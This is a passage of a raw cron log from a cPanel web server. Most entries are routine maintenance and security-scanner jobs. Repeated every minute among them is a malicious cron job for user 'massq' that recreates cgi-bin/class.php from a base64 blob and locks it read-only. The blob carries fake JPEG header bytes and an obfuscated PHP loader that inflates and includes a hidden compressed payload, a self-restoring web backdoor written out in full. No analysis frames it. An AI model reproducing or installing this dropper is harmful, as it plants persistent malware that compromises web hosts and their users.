JUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:05:01 server CROND[15481]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 08:05:01 server CROND[15484]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:06:01 server CROND[16342]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:06:01 server CROND[16343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:06:01 server CROND[16344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:07:01 server CROND[16737]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:07:01 server CROND[16738]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:07:01 server CROND[16739]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:08:01 server CROND[17121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:08:01 server CROND[17122]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:08:01 server CROND[17123]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:09:01 server CROND[17502]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:09:01 server CROND[17503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:09:01 server CROND[17504]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 08:09:01 server CROND[17505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:10:01 server CROND[17889]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 08:10:01 server CROND[17894]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 08:10:01 server CROND[17897]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 08:10:01 server CROND[17901]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 08:10:01 server CROND[17900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:10:01 server CROND[17903]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 08:10:01 server CROND[17902]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:10:01 server CROND[17899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:11:01 server CROND[18887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:11:01 server CROND[18888]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:11:01 server CROND[18889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:12:01 server CROND[19270]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 08:12:01 server CROND[19271]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:12:01 server CROND[19272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:12:01 server CROND[19273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:13:01 server CROND[19655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:13:01 server CROND[19656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:13:01 server CROND[19658]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:14:01 server CROND[20145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:14:01 server CROND[20146]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:14:01 server CROND[20147]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:15:01 server CROND[20555]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:15:01 server CROND[20557]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 08:15:01 server CROND[20559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:15:01 server CROND[20561]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 08:15:01 server CROND[20560]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 08:15:01 server CROND[20562]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 12 08:15:01 server CROND[20558]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 08:15:01 server CROND[20563]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:15:01 server CROND[20565]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 08:16:01 server CROND[21511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 08:16:01 server CROND[21512]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:16:01 server CROND[21513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:17:01 server CROND[21899]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 08:17:01 server CROND[21900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 08:17:01 server CROND[21901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQ